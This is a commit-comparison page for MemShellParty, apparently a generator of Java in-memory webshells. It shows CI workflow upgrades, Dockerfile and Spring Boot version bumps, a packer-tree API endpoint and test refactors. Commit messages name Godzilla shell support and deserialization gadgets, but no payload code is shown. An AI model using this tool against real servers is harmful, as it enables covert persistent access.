Compare commits

..
48 Commits
Author SHA1 Message Date
ReaJason 9fb0a3a377 chore: 2.8.0 2026-06-29 01:24:31 +08:00
ReaJason ff8f9512d4 docs: fix typo 2026-06-29 01:23:48 +08:00
ReaJason 8bb6857234 build: frontend build failed 2026-06-29 01:18:52 +08:00
ReaJason 86e242a4f1 revert: envFile warining 2026-06-29 00:28:34 +08:00
ReaJason 507c41b2c0 chore: upgrade build image 2026-06-29 00:28:31 +08:00
ReaJason bfad8cb921 fix: hessian gadget generate fail in jre25 2026-06-28 21:22:31 +08:00
ReaJason e21ec53cb6 refactor: rm useless code 2026-06-28 21:22:31 +08:00
ReaJason 7f669c840e fix: godzilla dubbo encryptor show 2026-06-28 21:22:31 +08:00
ReaJason e2600fd0ed build: envFile option is deprecated 2026-06-28 21:22:31 +08:00
ReaJason 7c0ae4b228 build: assets link error 2026-06-28 21:22:31 +08:00
ReaJason 862ad44a0a docs: update CHANGELOG 2026-06-28 21:22:31 +08:00
ReaJason a95e820e30 chore: update lib 2026-06-28 21:22:31 +08:00
ReaJason f19b1be9d4 feat: support select child packer 2026-06-28 21:22:31 +08:00
ReaJason a267048ed3 test: add dubbo integration-test 2026-06-28 21:22:31 +08:00
ReaJason fab736e175 docs: update CHANGELOG 2026-06-28 21:22:31 +08:00
ReaJason 6809132f00 test: add jenkins probe cases 2026-06-28 21:22:31 +08:00
ReaJason 404d62c6ef test: add Geronimo/Jetty 7.1 cases 2026-06-28 21:22:31 +08:00
ReaJason 416f2d5593 docs: update README 2026-06-28 21:22:31 +08:00
ReaJason fe54b610ed feat: boot use spring-boot 4.1.0 + jre25 2026-06-28 21:22:31 +08:00
ReaJason 0d096395f9 test: glassfish7 container not ready 2026-06-28 21:22:31 +08:00
ReaJason 845d5a48c9 chore: 2.8.0-SNAPSHOT 2026-06-28 21:22:31 +08:00
ReaJason 08200e0560 feat: support godzilla dubbo xor_base64 shell 2026-06-28 21:22:31 +08:00
ReaJason 1d98c24d16 test: add jenkins integration test case
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / jenkins (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struts2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2026-06-13 02:41:26 +08:00
su18 4d04aed4fb feat(jetty): add Winstone-Jetty and Geronimo-Jetty context discovery support 2026-06-13 02:38:25 +08:00
ReaJason 82fcd8ae42 chore: 2.7.2
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struts2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Probe IntegrationTest / springwebmvc (push) Has been cancelled
Probe IntegrationTest / struts2 (push) Has been cancelled
Probe IntegrationTest / tomcat (push) Has been cancelled
Probe IntegrationTest / glassfish (push) Has been cancelled
Probe IntegrationTest / jbosseap (push) Has been cancelled
Probe IntegrationTest / jetty (push) Has been cancelled
Probe IntegrationTest / payara (push) Has been cancelled
Probe IntegrationTest / wildfly (push) Has been cancelled
Probe IntegrationTest / jbossas (push) Has been cancelled
Probe IntegrationTest / resin (push) Has been cancelled
Probe IntegrationTest / weblogic (push) Has been cancelled
Probe IntegrationTest / websphere7 (push) Has been cancelled
Probe IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2026-05-24 23:39:43 +08:00
ReaJason 167e3452ec fix(web): probe shell switch not work 2026-05-24 23:35:07 +08:00
ReaJason 009c70d8d6 chore: 2.7.1 2026-05-24 22:29:57 +08:00
ReaJason fce2b11128 test: fix failed case 2026-05-24 22:28:22 +08:00
ReaJason 8b3f285002 docs: update 2026-05-24 22:28:22 +08:00
ReaJason 0a9a68ee7f fix: SpELGzipPacker class not found 2026-05-24 22:28:22 +08:00
ReaJason f0472d231b chore: upgrade deps 2026-05-24 22:28:22 +08:00
ReaJason 4061c61c29 test: add some basicInfo 2026-05-24 22:28:22 +08:00
ReaJason 8664e0d45a fix: tongweb 7.0.4.9 probe fail 2026-05-24 22:28:22 +08:00
ReaJason 59dc5ba5fc fix: bes11 probe failed 2026-05-24 22:28:22 +08:00
ReaJason 01c939ee18 chore: 2.7.1-SNAPSHOT 2026-05-24 22:28:22 +08:00
ReaJason b0800f0a0b fix: rename struct2 -> struts2 2026-05-24 22:28:22 +08:00
ReaJason dbd9687003 ci: upgrade actions
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2026-04-26 22:57:39 +08:00
ReaJason 886c37d8c2 chore: 2.7.0 2026-04-26 22:39:30 +08:00
ReaJason 06feb3fe14 docs: update CHANGELOG 2026-04-26 21:33:15 +08:00
ReaJason cb195715c0 fix: assertion failed 2026-04-26 21:33:15 +08:00
ReaJason 036887d806 fix: try fix windows build failed 2026-04-26 21:33:15 +08:00
ReaJason 11794f9465 build: fumadoc build failed 2026-04-26 21:33:15 +08:00
ReaJason e7e97089ce chore: 2.6.2-SNAPSHOT 2026-04-26 21:33:15 +08:00
ReaJason ee560ff7ee style: fmt code 2026-04-26 21:33:15 +08:00
ReaJason d10323a054 feat: support Alibaba & Apache dubbo service 2026-04-26 21:33:15 +08:00
ReaJason 016d0d5bbe chore: use tomcat-embed-core dep 2026-04-26 21:33:15 +08:00
ReaJason 666aed90c3 feat: support command base64 encryptor 2026-04-26 21:33:15 +08:00
ReaJason 8962c855c9 feat: support agent attacher list java processes and attach all 2026-04-26 21:33:15 +08:00
348 changed files with 18425 additions and 6950 deletions
+19
View File
@@ -0,0 +1,19 @@
.git
.gradle
.idea
.vscode
.DS_Store
**/.DS_Store
**/.gradle
**/build
**/bin
web/.react-router
web/.source
web/build
web/node_modules
integration-test
tools
vul
+12 -12
View File
@@ -17,16 +17,16 @@ jobs:
os: [ubuntu-latest, windows-latest] os: [ubuntu-latest, windows-latest]
runs-on: ${{ matrix.os }} runs-on: ${{ matrix.os }}
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v4 uses: actions/setup-java@v5
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v6
- name: Setup Node - name: Setup Node
uses: actions/setup-node@v6 uses: actions/setup-node@v6
@@ -62,28 +62,28 @@ jobs:
needs: [ build-jar ] needs: [ build-jar ]
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Download Boot Jar - name: Download Boot Jar
uses: actions/download-artifact@v4 uses: actions/download-artifact@v8
with: with:
name: boot name: boot
path: boot/build/libs path: boot/build/libs
- name: Login to Docker Hub - name: Login to Docker Hub
uses: docker/login-action@v3 uses: docker/login-action@v4
with: with:
registry: docker.io registry: docker.io
username: ${{ vars.DOCKERHUB_USERNAME }} username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }} password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU - name: Set up QEMU
uses: docker/setup-qemu-action@v3 uses: docker/setup-qemu-action@v4
- name: Set up Docker Buildx - name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3 uses: docker/setup-buildx-action@v4
- name: Build and push - name: Build and push
uses: docker/build-push-action@v6 uses: docker/build-push-action@v7
with: with:
context: boot context: boot
platforms: linux/amd64,linux/arm64 platforms: linux/amd64,linux/arm64
@@ -95,15 +95,15 @@ jobs:
needs: [ build-jar ] needs: [ build-jar ]
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v4 uses: actions/setup-java@v5
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v6
- name: Publish with Gradle - name: Publish with Gradle
env: env:
+1 -1
View File
@@ -22,7 +22,7 @@ jobs:
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- name: Checkout code - name: Checkout code
uses: actions/checkout@v4 uses: actions/checkout@v6
- name: Build Docker image - name: Build Docker image
run: | run: |
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app . docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
+5 -5
View File
@@ -15,21 +15,21 @@ jobs:
name: Docker Push name: Docker Push
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Login to Docker Hub - name: Login to Docker Hub
uses: docker/login-action@v3 uses: docker/login-action@v4
with: with:
registry: docker.io registry: docker.io
username: ${{ vars.DOCKERHUB_USERNAME }} username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }} password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU - name: Set up QEMU
uses: docker/setup-qemu-action@v3 uses: docker/setup-qemu-action@v4
- name: Set up Docker Buildx - name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3 uses: docker/setup-buildx-action@v4
- name: Build and push RedQueen - name: Build and push RedQueen
uses: docker/build-push-action@v6 uses: docker/build-push-action@v7
with: with:
context: . context: .
platforms: linux/amd64,linux/arm64 platforms: linux/amd64,linux/arm64
@@ -9,6 +9,7 @@ on:
- './github/workflows/memshell-integration-test.yml' - './github/workflows/memshell-integration-test.yml'
- '**/memshell/**' - '**/memshell/**'
- '**/packer/**' - '**/packer/**'
- '**/dubbo/**'
concurrency: concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }} group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
@@ -43,36 +44,47 @@ jobs:
- middleware: "weblogic" - middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war" depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc" - middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar" depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
- middleware: "springwebflux" - middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar" depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
- middleware: "xxljob" - middleware: "xxljob"
depend_tasks: "" depend_tasks: ""
- middleware: "struct2" - middleware: "struts2"
depend_tasks: ":vul:vul-struct2:war" depend_tasks: ":vul:vul-struts2:war"
- middleware: "jenkins"
depend_tasks: ""
- middleware: "geronimo"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "dubbo"
depend_tasks: ":vul:vul-dubbo:dubboProviderFatJars :tools:command:dubboClientClasspath"
runs-on: ubuntu-22.04 runs-on: ubuntu-22.04
name: ${{ matrix.cases.middleware }} name: ${{ matrix.cases.middleware }}
steps: steps:
- name: Checkout - name: Checkout
uses: actions/checkout@v4 uses: actions/checkout@v6
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v4 uses: actions/setup-java@v5
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v6
- name: Prepare for Integration Test - name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }} run: ./gradlew ${{ matrix.cases.depend_tasks }}
- name: Integration Test with gradle - name: Integration Test with gradle
if: matrix.cases.middleware != 'dubbo'
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
- name: Dubbo Integration Test with gradle
if: matrix.cases.middleware == 'dubbo'
run: ./gradlew :integration-test:dubboContainerTest --info
- name: Export Integration Test Summary - name: Export Integration Test Summary
uses: mikepenz/action-junit-report@v5 uses: mikepenz/action-junit-report@v5
if: success() || failure() if: success() || failure()
with: with:
report_paths: '**/build/test-results/test/TEST-*.xml' report_paths: '**/build/test-results/*/TEST-*.xml'
+7 -7
View File
@@ -41,23 +41,23 @@ jobs:
- middleware: "weblogic" - middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war" depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc" - middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar" depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
- middleware: "struct2" - middleware: "struts2"
depend_tasks: ":vul:vul-struct2:war" depend_tasks: ":vul:vul-struts2:war"
runs-on: ubuntu-22.04 runs-on: ubuntu-22.04
name: ${{ matrix.cases.middleware }} name: ${{ matrix.cases.middleware }}
steps: steps:
- name: Checkout - name: Checkout
uses: actions/checkout@v4 uses: actions/checkout@v6
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v4 uses: actions/setup-java@v5
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v6
- name: Prepare for Integration Test - name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }} run: ./gradlew ${{ matrix.cases.depend_tasks }}
@@ -66,7 +66,7 @@ jobs:
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
- name: Export Integration Test Summary - name: Export Integration Test Summary
uses: mikepenz/action-junit-report@v5 uses: mikepenz/action-junit-report@v6
if: success() || failure() if: success() || failure()
with: with:
report_paths: '**/build/test-results/test/TEST-*.xml' report_paths: '**/build/test-results/test/TEST-*.xml'
+15 -15
View File
@@ -14,7 +14,7 @@ jobs:
version-without-v: ${{ steps.get_version.outputs.version-without-v }} version-without-v: ${{ steps.get_version.outputs.version-without-v }}
changelog: ${{ steps.get_changelog.outputs.changelog }} changelog: ${{ steps.get_changelog.outputs.changelog }}
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Get Version - name: Get Version
id: get_version id: get_version
@@ -36,16 +36,16 @@ jobs:
name: Build Jar name: Build Jar
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v4 uses: actions/setup-java@v5
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v6
- name: Setup Node - name: Setup Node
uses: actions/setup-node@v6 uses: actions/setup-node@v6
@@ -75,7 +75,7 @@ jobs:
needs: [ info, build-jar ] needs: [ info, build-jar ]
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Download Boot Jar - name: Download Boot Jar
uses: actions/download-artifact@v4 uses: actions/download-artifact@v4
@@ -84,26 +84,26 @@ jobs:
path: boot/build/libs path: boot/build/libs
- name: Login to GitHub Container Registry - name: Login to GitHub Container Registry
uses: docker/login-action@v3 uses: docker/login-action@v4
with: with:
registry: ghcr.io registry: ghcr.io
username: ${{ github.repository_owner }} username: ${{ github.repository_owner }}
password: ${{ secrets.GITHUB_TOKEN }} password: ${{ secrets.GITHUB_TOKEN }}
- name: Login to Docker Hub - name: Login to Docker Hub
uses: docker/login-action@v3 uses: docker/login-action@v4
with: with:
registry: docker.io registry: docker.io
username: ${{ vars.DOCKERHUB_USERNAME }} username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }} password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU - name: Set up QEMU
uses: docker/setup-qemu-action@v3 uses: docker/setup-qemu-action@v4
- name: Set up Docker Buildx - name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3 uses: docker/setup-buildx-action@v4
- name: Build and push - name: Build and push
uses: docker/build-push-action@v6 uses: docker/build-push-action@v7
with: with:
context: boot context: boot
platforms: linux/amd64,linux/arm64 platforms: linux/amd64,linux/arm64
@@ -115,7 +115,7 @@ jobs:
ghcr.io/reajason/memshell-party:latest ghcr.io/reajason/memshell-party:latest
- name: Build and push RedQueen - name: Build and push RedQueen
uses: docker/build-push-action@v6 uses: docker/build-push-action@v7
with: with:
context: . context: .
platforms: linux/amd64,linux/arm64 platforms: linux/amd64,linux/arm64
@@ -130,15 +130,15 @@ jobs:
name: Deploy to Maven Central name: Deploy to Maven Central
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v4 uses: actions/setup-java@v5
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v6
- name: Publish with Gradle - name: Publish with Gradle
env: env:
@@ -156,7 +156,7 @@ jobs:
permissions: permissions:
contents: write contents: write
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- name: Download Boot Jar - name: Download Boot Jar
uses: actions/download-artifact@v4 uses: actions/download-artifact@v4
@@ -22,16 +22,16 @@ jobs:
runs-on: ubuntu-22.04 runs-on: ubuntu-22.04
steps: steps:
- name: Checkout - name: Checkout
uses: actions/checkout@v4 uses: actions/checkout@v6
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v4 uses: actions/setup-java@v5
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v6
- name: Prepare for Integration Test - name: Prepare for Integration Test
if: ${{ inputs.depend_tasks != '' }} if: ${{ inputs.depend_tasks != '' }}
+3 -3
View File
@@ -17,16 +17,16 @@ jobs:
runs-on: ubuntu-latest runs-on: ubuntu-latest
steps: steps:
- name: Checkout - name: Checkout
uses: actions/checkout@v4 uses: actions/checkout@v6
- name: Setup Java - name: Setup Java
uses: actions/setup-java@v4 uses: actions/setup-java@v5
with: with:
distribution: 'temurin' distribution: 'temurin'
java-version: 17 java-version: 17
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v6
- name: Generator Unit Test with Gradle - name: Generator Unit Test with Gradle
run: ./gradlew :generator:test run: ./gradlew :generator:test
+6 -6
View File
@@ -6,9 +6,9 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
rm -rf vul integration-test tools rm -rf vul integration-test tools
# https://hub.docker.com/r/oven/bun # https://hub.docker.com/r/oven/bun
FROM --platform=$BUILDPLATFORM oven/bun:1.3.11 AS frontend FROM --platform=$BUILDPLATFORM oven/bun:1.3.14 AS frontend
ARG ROUTE_ROOT_PATH="/" ARG ROUTE_ROOT_PATH=""
ARG CONTEXT_PATH="" ARG CONTEXT_PATH=""
WORKDIR /usr/src/web WORKDIR /usr/src/web
@@ -24,8 +24,8 @@ COPY --from=source /usr/src/web /usr/src/web
RUN bun run build RUN bun run build
# https://hub.docker.com/_/eclipse-temurin/tags?name=17. # https://hub.docker.com/_/eclipse-temurin/tags?name=21.
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.17_10-jdk-noble AS backend FROM --platform=$BUILDPLATFORM eclipse-temurin:21.0.11_10-jdk-noble AS backend
WORKDIR /usr/src WORKDIR /usr/src
@@ -35,7 +35,7 @@ COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/res
RUN ./gradlew :boot:bootjar -x test RUN ./gradlew :boot:bootjar -x test
FROM eclipse-temurin:17.0.17_10-jre-noble FROM eclipse-temurin:21.0.11_10-jre-noble
LABEL authors="ReaJason<[email protected]>" LABEL authors="ReaJason<[email protected]>"
@@ -56,4 +56,4 @@ ENV INTERNAL_JAVA_OPTS="\
EXPOSE 8080 EXPOSE 8080
ENTRYPOINT ["sh", "-c", "java $JAVA_OPTS $INTERNAL_JAVA_OPTS -jar app.jar $BOOT_OPTS"] ENTRYPOINT ["sh", "-c", "java $JAVA_OPTS $INTERNAL_JAVA_OPTS -jar app.jar $BOOT_OPTS"]
+1 -1
View File
@@ -47,7 +47,7 @@ MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工
### 使用前必看 ### 使用前必看
[Java 服务简介.md](web/content/docs/server-intro.mdx),用于了解 MemShellParty [适配情况](https://party.mem.mk/ui/docs/compatibility),用于了解 MemShellParty
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。 中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为 探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
+1 -1
View File
@@ -1,4 +1,4 @@
FROM eclipse-temurin:17.0.17_10-jre-noble FROM eclipse-temurin:21.0.11_10-jre-noble
LABEL authors="ReaJason<[email protected]>" LABEL authors="ReaJason<[email protected]>"
+2 -5
View File
@@ -1,6 +1,6 @@
plugins { plugins {
id("java") id("java")
id("org.springframework.boot") version "3.5.8" id("org.springframework.boot") version "4.1.0"
id("io.spring.dependency-management") version "1.1.7" id("io.spring.dependency-management") version "1.1.7"
} }
@@ -31,11 +31,8 @@ dependencies {
exclude(group = "commons-logging", module = "commons-logging") exclude(group = "commons-logging", module = "commons-logging")
} }
implementation("org.springframework.boot:spring-boot-starter-thymeleaf") implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
implementation("org.springframework.boot:spring-boot-starter-web") { implementation("org.springframework.boot:spring-boot-starter-web")
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
}
implementation(libs.commons.lang3) implementation(libs.commons.lang3)
implementation("org.springframework.boot:spring-boot-starter-undertow")
compileOnly("org.projectlombok:lombok") compileOnly("org.projectlombok:lombok")
developmentOnly("org.springframework.boot:spring-boot-devtools") developmentOnly("org.springframework.boot:spring-boot-devtools")
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor") annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
@@ -1,6 +1,7 @@
package com.reajason.javaweb.boot.controller; package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.vo.CommandConfigVO; import com.reajason.javaweb.boot.vo.CommandConfigVO;
import com.reajason.javaweb.boot.vo.PackerVO;
import com.reajason.javaweb.memshell.ServerFactory; import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.server.AbstractServer; import com.reajason.javaweb.memshell.server.AbstractServer;
@@ -40,6 +41,21 @@ public class ConfigController {
.map(Packers::name).toList(); .map(Packers::name).toList();
} }
/**
* 返回父/子 packer 层级结构,供前端在「父模式 / 子模式」之间选择。
* 单独新增端点而非修改 {@link #getPackers()},以避免破坏旧版本前端对返回值的依赖。
*/
@RequestMapping("/packers/tree")
public List<PackerVO> getPackerTree() {
return Arrays.stream(Packers.values())
.filter(packers -> packers.getParentPacker() == null)
.map(packers -> new PackerVO(
packers.name(),
Packers.getPackersWithParent(packers.getInstance().getClass())
.stream().map(Packers::name).toList()))
.toList();
}
@RequestMapping @RequestMapping
public Map<String, Map<?, ?>> config() { public Map<String, Map<?, ?>> config() {
Map<String, Map<?, ?>> coreMap = new HashMap<>(16); Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
@@ -0,0 +1,10 @@
package com.reajason.javaweb.boot.vo;
import java.util.List;
/**
* @author ReaJason
* @since 2026/6/27
*/
public record PackerVO(String name, List<String> children) {
}
@@ -1,11 +1,12 @@
package com.reajason.javaweb.boot.controller; package com.reajason.javaweb.boot.controller;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired; import org.junit.jupiter.api.BeforeEach;
import org.springframework.boot.test.context.SpringBootTest; import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.web.client.TestRestTemplate; import org.springframework.boot.test.web.server.LocalServerPort;
import org.springframework.http.HttpStatus; import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity; import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestClient;
import java.util.List; import java.util.List;
import java.util.Map; import java.util.Map;
@@ -21,27 +22,45 @@ import static org.junit.jupiter.api.Assertions.assertNotNull;
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT) @SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
public class ConfigControllerIntegrationTest { public class ConfigControllerIntegrationTest {
@Autowired @LocalServerPort
private TestRestTemplate restTemplate; private int port;
private RestClient restClient;
@BeforeEach
void setUp() {
restClient = RestClient.builder()
.baseUrl("http://localhost:" + port)
.build();
}
@Test @Test
public void testConfigEndpoint() { public void testConfigEndpoint() {
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config", Map.class); ResponseEntity<Map> response = restClient.get()
.uri("/api/config")
.retrieve()
.toEntity(Map.class);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody()); assertNotNull(response.getBody());
} }
@Test @Test
public void testConfigServersEndpoint() { public void testConfigServersEndpoint() {
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config/servers", Map.class); ResponseEntity<Map> response = restClient.get()
.uri("/api/config/servers")
.retrieve()
.toEntity(Map.class);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody()); assertNotNull(response.getBody());
} }
@Test @Test
public void testConfigPackersEndpoint() { public void testConfigPackersEndpoint() {
ResponseEntity<List> response = restTemplate.getForEntity("/api/config/packers", List.class); ResponseEntity<List> response = restClient.get()
.uri("/api/config/packers")
.retrieve()
.toEntity(List.class);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody()); assertNotNull(response.getBody());
} }
} }
@@ -8,12 +8,13 @@ import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.InjectorConfig;
